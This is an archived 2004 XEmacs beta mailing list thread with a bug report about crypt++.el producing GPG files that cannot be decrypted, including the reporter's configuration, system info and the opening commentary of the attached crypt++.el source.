X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , HI Adrian! On Sat, 03 Apr 2004, Adrian Aichner wrote: > >>>>> "Karl" == Karl Berry writes: > > Karl> I received this bug report regarding crypt++.el, but > Karl> unfortunately don't know how to help; ironically, I've never > Karl> used the encryption/decryption features of crypt++, and > Karl> don't use XEmacs either. Can anyone help? (Adrian, I sent > Karl> Johan your 'binary suggestion from a few weeks ago.) > > Thanks for the followup, Karl. > > The main issue I found was with XEmacs 21.5. > > See > http://list-archive.xemacs.org/xemacs-patches/200403/msg00097.html > for my initial analysis. > This patch is for XEmacs 21.5, which I cannot apply because I use 21.4 (patch 14). Johan From xemacs-beta-admin@xemacs.org Sun Apr 4 15:41:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Jf4s29978; Sun, 4 Apr 2004 15:41:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Jea629878 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 15:40:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34JeFh29799 for turnbull@tux.org; Sun, 4 Apr 2004 15:40:15 -0400 Received: from pernis.its.uu.se (pernis.its.UU.SE [130.238.4.153]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34JdLs29629 for ; Sun, 4 Apr 2004 15:39:21 -0400 Received: by pernis.its.uu.se (Postfix, from userid 205) id BF524C4E; Sun, 4 Apr 2004 21:39:20 +0200 (MSZ) Received: from pernis.its.uu.se(127.0.0.1) by pernis.its.uu.se via virus-scan id s372; Sun, 4 Apr 04 21:39:11 +0200 Received: from finn.tsl.uu.se (finn.tsl.uu.se [130.238.68.106]) by pernis.its.uu.se (Postfix) with ESMTP id E50D87BE for ; Sun, 4 Apr 2004 21:39:10 +0200 (MSZ) Received: by finn.tsl.uu.se (Postfix, from userid 5030) id 071BC71B8; Sun, 4 Apr 2004 21:39:10 +0200 (CEST) Date: Sun, 4 Apr 2004 21:39:09 +0200 From: Johan Nyberg To: XEmacs Beta Subject: [Bug: 21.4.14] crypt++ Message-ID: <20040404193909.GA29426@finn.tsl.uu.se> Reply-To: johan.nyberg@tsl.uu.se Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline Organization: Department of Radiation Sciences, Uppsala University User-Agent: Mutt/1.5.5.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline ================================================================ Dear Bug Team! Decrypting a file file.txt.gpg that was encrypted by the shell command $ gpg -se -r nyberg file.txt works without problems by using xemacs and crypt++. But I cannot get encrypting in xemacs using crypt++ to work. When I save the file from xemacs, and then try to decrypt it from the shell I get this error: $ gpg file.txt.gpg gpg: packet with S2K 3 too short If I do the same on the original encrypted file (that is the one that was not saved from xemacs) decrypting works without any problems. I am attaching the file crypt++.el, which I use and which I got from Karl Berry . Here is the section in my ~/.xemacs/custom.el that concerns crypt++ ---------------- (setq crypt-encryption-type 'gpg crypt-encryption-file-extension "\\(\\.gpg\\)$" crypt-bind-insert-file nil crypt-freeze-vs-fortran nil crypt-confirm-password t) (require 'crypt++) (crypt-rebuild-tables) (crypt-bind-insert-file) (modify-coding-system-alist 'file "\\.bz\\'" 'no-conversion-unix) (modify-coding-system-alist 'file "\\.bz2\\'" 'no-conversion-unix) (modify-coding-system-alist 'file "\\.gpg\\'" 'no-conversion-unix) (modify-coding-system-alist 'file "\\.gz\\'" 'no-conversion-unix) (modify-coding-system-alist 'file "\\.Z\\'" 'no-conversion-unix) (modify-coding-system-alist 'process "gpg" 'no-conversion-unix) --------------- Johan Nyberg ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux ke.mandrakesoft.com 2.4.22-25mdksmp #1 SMP Mon Nov 10 11:08:35 CET 2003 i686 unknown unknown GNU/Linux ../../configure 'i386-mandrake-linux' '--prefix=/usr' '--exec-prefix=/usr' '--package-path=//usr/share/xemacs/' '--datadir=//usr/share' '--mandir=//usr/share/man/man0' '--infodir=//usr/share/info' '--libdir=//usr/lib' '--bindir=//usr/bin' '--infopath=//usr/share/info' '--with-gpm=no' '--with-sound=none' '--with-pop' '--mail-locking=flock' '--with-clash-detection' '--with-scrollbars=lucid' '--with-menubars=lucid' '--with-xpm' '--with-xface' '--with-png' '--with-jpeg' '--with-tiff' '--dynamic=yes' '--with-ncurses' '--without-ldap' '--without-postgresql' '--with-gpm=no' '--with-clash-detection' '--debug=no' '--error-checking=none' '--prefix=/usr' '--exec-prefix=/usr' '--with-x11' '--with-tty=yes' '--with-dialogs=athena' '--with-widgets=athena' '--with-athena=3d' '--with-file-coding' XEmacs 21.4.14 "Reasonable Discussion" configured for `i386-mandrake-linux'. Compilation / Installation: Source code location: /home/warly/rpm/BUILD/xemacs-21.4.14 Installation prefix: /usr Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler: gcc -O2 -fomit-frame-pointer -pipe -march=i586 -mcpu=pentiumpro Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw3d - Athena library to link: Xaw3d Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Databases: Compiling in support for Berkeley database. Internationalization: Compiling in support for file coding. Mail: Compiling in support for POP mail retrieval. Compiling in support for "flock" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Load-Path Lisp Shadows: ---------------------- (//usr/share/xemacs/xemacs-packages/lisp/build/build-report //usr/share/xemacs-21.4.14/lisp/build-report //usr/share/xemacs/xemacs-packages/lisp/text-modes/po-mode /usr/share/emacs/site-lisp/po-mode //usr/share/xemacs/xemacs-packages/lisp/auctex/tex-site /usr/share/emacs/site-lisp/tex-site //usr/share/xemacs/xemacs-packages/lisp/text-modes/po-compat /usr/share/emacs/site-lisp/po-compat //usr/share/xemacs/xemacs-packages/lisp/prog-modes/autoconf-mode /usr/share/emacs/site-lisp/autoconf-mode //usr/share/xemacs/xemacs-packages/lisp/prog-modes/rpm-spec-mode /usr/share/emacs/site-lisp/rpm-spec-mode //usr/share/xemacs/xemacs-packages/lisp/python-modes/python-mode /usr/share/emacs/site-lisp/python-mode) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.15 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 mwheel paren blink-paren font disp-table compile shell comint ring crypt crypt++ crypt+pgp-pub font-lock cus-face zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete help-nomule cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp file-coding lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar berkeley-db md5 xemacs gutter tiff png gif jpeg xface xpm xbm lisp-float-type linux dialog devices window-system base64) Recent keystrokes: ----------------- x ESC O D ESC [ 3 ~ ESC x r e p o TAB r TAB x e TAB RET Recent messages (most recent first): ----------------------------------- Loading xemacsbug...done Loading xemacsbug... Making completion list... Fontifying *scratch*... done. Loading mwheel...done Fontifying *scratch*... Loading mwheel... Paren mode is paren Loading paren...done Loading paren... Loading font...done Loading font... Error while loading /etc/emacs/site-start.d/scilab.el Loading /etc/emacs/site-start.d/scilab.el... Loading /etc/emacs/site-start.d/rpm.el...done Loading /etc/emacs/site-start.d/rpm.el... Loading /etc/emacs/site-start.d/python.el...done Loading /etc/emacs/site-start.d/python.el... Loading /etc/emacs/site-start.d/gnuplot.el...done Loading /etc/emacs/site-start.d/gnuplot.el... --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="crypt++.el" Content-Transfer-Encoding: quoted-printable ;;; crypt++.el -- handle all sorts of compressed and encrypted files ;;; (may also be installed as crypt.el) ;; Authors: Lawrence R. Dodd ;; Rod Whitby ;; Kyle E. Jones ;; Maintainer: ;; Created: crypt.el in 1988, crypt++.el on 18 Jan 1993. ;; Version: 2.92 ;; Keywords: extensions ;; $Id: crypt++.el,v 1.33 2003/10/23 11:53:19 karl Exp $ ;;; Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, In= c. ;;; Copyright (C) 1994 Lawrence R. Dodd ;;; Copyright (C) 1993 Lawrence R. Dodd and Rod Whitby ;;; Copyright (C) 1988, 1989, 1990 Kyle E. Jones ;;; ;;; This program is free software; you can redistribute it and/or modify ;;; it under the terms of the GNU General Public License as published by ;;; the Free Software Foundation; either version 2 of the License, or ;;; (at your option) any later version. ;;; ;;; This program is distributed in the hope that it will be useful, ;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ;;; GNU General Public License for more details. ;;; ;;; You should have received a copy of the GNU General Public License ;;; along with this program; if not, write to the Free Software ;;; Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, U= SA. ;;; Commentary: ;;; Please see notes on INSTALLATION and USAGE on the pages below. ;;; LCD Archive Entry: ;;; crypt++|Rod Whitby and Lawrence R. Dodd|karl@gnu.org| ;;; Handle compressed and encrypted files.| ;;; 2003-01-17|2.92|~/misc/crypt++.el.Z| ;;; AVAILABLE: ;;; http://www.cs.umb.edu/~karl/crypt++/ ;;; news:gnu.emacs.sources ;;; BUG REPORTS: ;;; Type M-x crypt-submit-report to generate a bug report template or put y= our ;;; cursor at the end of this line and type C-x C-e: (crypt-submit-report) ;;; ;;; Please note that this bug-report facility (crypt-submit-report) uses ;;; Barry Warsaw's reporter.el which is part of GNU Emacs v19 and ;;; bundled with many other packages. If needed, you can obtain a copy ;;; of reporter.el at the elisp-archive. In fact, crypt-submit-report ;;; will attempt to ange-ftp a copy for you if you do not ;;; have one accessible. ;;; ;;; Main author: ;;; Lawrence R. Dodd ;;; Polytechnic University ;;; Brooklyn, New York USA =0C ;;; INSTALLATION: ;;; ;;; To use this package, simply put it in a file called "crypt++.el" in a L= isp ;;; directory known to Emacs (see `load-path'), byte-compile it (ignore ;;; warnings about undefined functions), and put the line: ;;; ;;; (require 'crypt++) ;;; ;;; in your ~/.emacs file or in the file default.el in the ../lisp directory ;;; of the Emacs distribution. ;;;=20 ;;; For reliable operation with Emacs versions with coding system ;;; support, you also need: ;;;=20 ;;; (modify-coding-system-alist 'file "\\.bz\\'" 'no-conversion) ;;; (modify-coding-system-alist 'file "\\.bz2\\'" 'no-conversion) ;;; (modify-coding-system-alist 'file "\\.gpg\\'" 'no-conversion) ;;; (modify-coding-system-alist 'file "\\.gz\\'" 'no-conversion) ;;; (modify-coding-system-alist 'file "\\.Z\\'" 'no-conversion) ;;;=20 ;;; With XEmacs, you need 'no-conversion-unix instead of 'no-conversion. ;;; (Thanks to Jose M. Vidal .) ;;;=20 ;;; Otherwise, Emacs tampers with the bytes before crypt++ gets them. ;;; The above won't help for files without those extensions. You just ;;; have to specify the no-conversion coding system manually when ;;; visiting those files, or set no-conversion for all files if that suits = you. ;;;=20 ;;; Do not bother trying to autoload this package; it uses find-file and ;;; write-file hooks and thus should be loaded the first time you visit ;;; any sort of file. Any package loaded after this one that appends ;;; something to `write-file-hooks' will not be executed because this ;;; package writes out the file. Other packages that append to ;;; `write-file-hooks' should either be modified to prepend to that hook ;;; or be loaded before this one (preferably the former). ;;; ;;; An alternative is to stick (require 'crypt) in your ~/.emacs, if it is = not ;;; already there, and then make a symbolic link from crypt++.el to crypt.el ;;; with "ln -s crypt++.el crypt.el". This will make crypt++ act like a ;;; drop-in replacement for the original crypt since any package requiring ;;; crypt will find crypt++ instead. ;;; NOTE: encryption users should set `crypt-encryption-type' to one of the ;;; values in `crypt-encryption-alist' (see USAGE below). ;;; SPECIAL NOTES: ;;; ;;; If crypt++ is dumped with the emacs executable, or if it has already be= en ;;; loaded in an emacs session, then modifying the variables used in buildi= ng ;;; the encryption and encoding tables will have no effect until these tabl= es ;;; are rebuilt. This may be done with `M-x crypt-rebuild-tables'. See US= AGE ;;; below to determine variables for which this is needed. For example, ;;; post-load changes to `crypt-encryption-file-extension' or ;;; `crypt-freeze-vs-fortran' can be incorporated into the encryption table ;;; via `M-x crypt-rebuild-tables'. Similarly, post-load changes to ;;; `crypt-bind-insert-file' are handled with `M-x crypt-bind-insert-file'. ;;; DUMPING CRYPT++ WITH GNU EMACS 18: ;;; ;;; If crypt++ has been dumped with emacs then calls to `crypt-rebuild-tabl= es' ;;; and `crypt-bind-insert-file' will be needed in the user's ~/.emacs or ;;; ../lisp/default.el file in order to assure the changes take effect. For ;;; example, ;;; ;;; ;; Set my own preferences... ;;; (setq crypt-encryption-type 'des ;;; crypt-encryption-file-extension "\\(\\.e\\)$" ;;; crypt-bind-insert-file nil ;;; crypt-freeze-vs-fortran nil) ;;; ;;; ;; Has crypt++ been loaded already? ;;; (if (featurep 'crypt++) ;;; ;;; ;; Yes. Just rebuild the encryption and encoding tables ;;; ;; and key binding. ;;; (progn ;;; (crypt-rebuild-tables) ;;; (crypt-bind-insert-file)) ;;; ;;; ;; No. Load the whole thing. ;;; (require 'crypt++)) ;;; ;;; This guarantees that the users preferences will be incorporated into ;;; crypt++ without having to reload all of crypt++.el to do it. ;;; ;;; In GNU Emacs 19 and Lucid Emacs 19.8 the execution of ;;; `crypt-rebuild-tables' and `crypt-bind-insert-file' is done automatical= ly ;;; through `after-init-hook'. So, for the above example, all that is need= ed ;;; is ;;; ;;; ;; Set my own preferences... ;;; (setq crypt-encryption-type 'des ;;; crypt-encryption-file-extension "\\(\\.e\\)$" ;;; crypt-bind-insert-file nil ;;; crypt-freeze-vs-fortran nil) ;;; ;;; (require 'crypt++) ;;; ;;; There is an `after-init-hook' in Lucid Emacs v 19.8 but in early versio= ns ;;; of Lucid Emacs it will use `term-setup-hook' instead. =0C ;;; USAGE: ;;; ;;; By default, intended to be transparent. User-defined variables ;;; ;;; controlling ENCRYPTION are: ;;; crypt-encryption-type ;;; crypt-encryption-file-extension ;;; crypt-never-ever-decrypt ;;; crypt-auto-write-buffer-encrypted ;;; crypt-confirm-password ;;; crypt-encrypted-disable-auto-save ;;; crypt-encryption-alist ;;; crypt-pgp-pub-multirecipients ;;; ;;; controlling ENCODING are: ;;; crypt-auto-decode-buffer ;;; crypt-auto-write-buffer ;;; crypt-query-if-interactive ;;; crypt-no-extension-implies-plain ;;; crypt-freeze-vs-fortran ;;; crypt-compact-vs-C++ ;;; crypt-ignored-filenames ;;; crypt-default-encoding ;;; crypt-encoded-disable-auto-save ;;; crypt-encoding-alist ;;; ;;; controlling file insertion are: ;;; crypt-bind-insert-file ;;; crypt-auto-decode-insert ;;; ;;; To find out more about these variables, load this file, put your cursor= at ;;; the end of any of the variable names, and hit C-h v [RET]. ;;; ;;; NOTE: encryption users should set `crypt-encryption-type' to one of the ;;; values in `crypt-encryption-alist'. ;;; ;;; Although rarely needed, the following may be called interactively: ;;; (crypt-encoded-mode) ;;; (crypt-encode-region) ;;; (crypt-encrypted-mode) ;;; (crypt-encrypt-region) ;;; (crypt-set-encryption-key) ;;; (crypt-rebuild-tables) ;;; (crypt-insert-file) ;;; (crypt-bind-insert-file) ;;; (crypt-submit-report) ;;; (crypt-pgp-pub-clear-recipients) ;;; ;;; To find out more about these functions, load this file, put your cursor ;;; inside any of the `()' of the above lines, and hit C-h f [RET]. ;;;=20 ;;; You may wish to use mailcrypt in conjunction with crypt++. ;;; http://mailcrypt.sourceforge.net/ =0C ;;; NOTES ON INTERFACES WITH OTHER PROGRAMS AND PACKAGES: ;;; ;;; GZIP: the environment variable GZIP of gzip can cause an error if it ;;; contains `--verbose' because standard output messages will be appended = to ;;; gzip'ed files. This corrupts the files. The cleanest solution is to p= ass ;;; the `--quiet' switch in `crypt-encoding-alist' to override this. Use g= zip ;;; version 1.0.4 or higher from ftp://ftp.gnu.org/pub/gnu/gzip-*.tar.gz. ;;; ;;; TAR-MODE: works properly with version 1.28 (or higher) with v19 emacs. ;;; ;;; RMAIL and CHANGING MAJOR MODE (for v18 ONLY): in v18 emacs ;;; crypt++.el's buffer local variables are smashed whenever the major ;;; mode is changed of a buffer or whenever RMAIL is run on an encrypted ;;; and/or compressed file. This screws things up. No smashing occurs ;;; with v19 Emacs. for v18 emacs Joe Wells' "kill-fix.el" is needed to ;;; prevent this. Get a copy of kill-fix.el from ;;; archive.cis.ohio-state.edu, store it where emacs can find it, stick ;;; a "(require 'kill-fix)" anywhere in your ~/.emacs, and the problem ;;; will be fixed. ;;; ;;; LISPDIR: if you save this file as crypt++.el then the "(require 'crypt)" ;;; in lispdir.el needs to be replaced with "(require 'crypt++)" ;;; or the symbolic link suggested above can be used. =0C ;;; DESCRIPTION: ;;; ;;; The basic purpose of this package of Lisp functions is to recognize ;;; automatically encrypted and encoded (i.e., compressed) files when they = are ;;; first visited or written. The BUFFER corresponding to the file is deco= ded ;;; and/or decrypted before it is presented to the user. The file itself is ;;; unchanged on the disk. When the buffer is subsequently saved to disk, a ;;; hook function re-encodes the buffer before the actual disk write takes ;;; place. ;;; ;;; This package recognizes all sorts of compressed files by a magic number= at ;;; the beginning of these files but uses a heuristic to detect encrypted ;;; files. If you are asked for an encryption key for a file that is in fa= ct ;;; not encrypted, just hit RET and the file will be accepted as is, and the ;;; crypt minor mode will not be entered. ;;; ;;; Other types of encoding programs may be added to this package by using = the ;;; variable `crypt-encoding-alist' which contains a table of encoding ;;; programs such as compress, gzip (GNU zip), freeze, and compact. ;;; ;;; This new extended version of crypt now monitors the filename extensions= of ;;; buffers that are written out using write-file (C-x C-w). If the filena= me ;;; extension matches one of the extensions listed in `crypt-encoding-alist= ,' ;;; then this package will write the file out using the corresponding encod= ing ;;; (compression) method. This is done whether or not the buffer originated ;;; from a previously encoded (compressed) file. ;;; ;;; Thus, if the user is editing a file that may or may not have been encod= ed ;;; originally (e.g., foobar.Z or foobar) and decides to write it to a ;;; different file (e.g., barfoo or barfoo.z or barfoo.C). This package wi= ll ;;; examine the filename extension and write the buffer in plain format or = an ;;; alternate encoding (compression) format by searching through the entries ;;; in the table of encoding methods `crypt-encoding-alist.' This change in ;;; encoding state is done automatically if the variable ;;; `crypt-auto-write-buffer' is t otherwise the user is asked. =0C ;;; TO DO/KNOWN BUGS/HELP WANTED/APPLY WITHIN: ;;; ;;; All users/hackers out there are strongly encouraged to pursue any of th= ese ;;; matters further (especially those that concern encryption and decryptio= n!). ;;; It is important to future programmers and modifiers of crypt++.el to kn= ow ;;; about its perceived limitations. Since necessity drives invention, use= rs ;;; who find any of the following features of crypt++.el annoying are asked= to ;;; make suggestions and send patches (again, especially those that concern ;;; encryption and decryption!). ;;; ;;; * currently crypt++ assumes that if a file is both encrypted and encoded ;;; (i.e., compressed) that the order in which it was done was encryption ;;; first _then_ compression. As has been pointed by many people compres= sion ;;; following encryption is useless since the encrypted file is basically ;;; random. On the other hand, many agree that doing encryption _followi= ng_ ;;; compression is better since it makes it harder to crack the encryptio= n. ;;; We would like to make the ordering of these two user-configurable or = if ;;; nothing else change the order. ;;; ;;; Having read the above however, Francois Pinard ;;; writes that encryption following compression may not be harder to cra= ck ;;; since "the fact that the first few uncrypted bytes are expected (the ;;; compress signature) facilitates a serious attempt at uncrypting." ;;; jwz agrees with Francois. ;;; ;;; * get write-region and append-to-file to handle encoded and encrypted ;;; files. There is an interesting low-level encoding package by Jay Ada= ms ;;; called jka-compr.el that might address some of these ;;; issues. We encourage hackers out there to come up with crypt++ versi= ons ;;; of write-region and append-to-file. The difficulty is creating versi= ons ;;; that mimic the originals as closely as possible. ;;; ;;; * instead of using call-process-region (which can fail badly if the reg= ion ;;; is large and there's not much room in /tmp), write the region to a te= mp ;;; file (with a customisable location) and use call-process directly. ;;; ;;; * users have mentioned trouble using crypt++ and hilit simultaneously s= ince ;;; the functions in write-file-hook for both write the file to disk and ;;; return t. A possible solution is to have one of them write to a ;;; scratch buffer instead of to disk and return nil and then allow the ;;; other to do its work on the scratch buffer and write it to disk. Tha= nks ;;; to Wayne Folta and Amir J Katz . ;;; It would be nice to have another way in emacs to have an ;;; after-write-file-hook and a before-write-file-hook of some sort. ;;; Lucid Emacs has an after-write-file-hook. Recent versions of hilit19= =2Eel ;;; do not automatically attach to `write-file-hooks' and return t. ;;; However, the general problem of multiple packages returning t still ;;; remains. dos-mode.el and crypt++.el also conflict. ;;; ;;; * another possible source of trouble is with encryption (and encoding) ;;; programs sticking verbose output into buffers prior to being written = to ;;; disk. This was definitely occurring with gzip because of --verbose in ;;; the GZIP environment variable and is solved/hidden with the --quiet ;;; switch. However, I suspect that some encryption problems out there a= re ;;; capable of similar things so the user should be careful. ;;; ;;; * integrating crypt++ with a backgrounding package such as Olin Shivers' ;;; `background.el' might be useful too. thanks to Mark Borges ;;; for suggesting this. ;;; ;;; * Performing M-x crypt-encode-buffer or M-x crypt-encrypt-buffer and th= en ;;; saving the file would possibly cause errors. It is better to toggle ;;; `crypt-encoded-mode' (or `crypt-encrypted-mode') and simply save the ;;; file. It is for this reason that `crypt-encode-buffer' and ;;; `crypt-encrypt-buffer' are not interactive. ;;; ;;; * use plists instead of alists replacing calls to `nth' with `get' ;;; ;;; * merge encryption code completely into encoding code making encryption ;;; just a special case of encoding. =0C ;;; Change log: ;;; ;;; 1.1 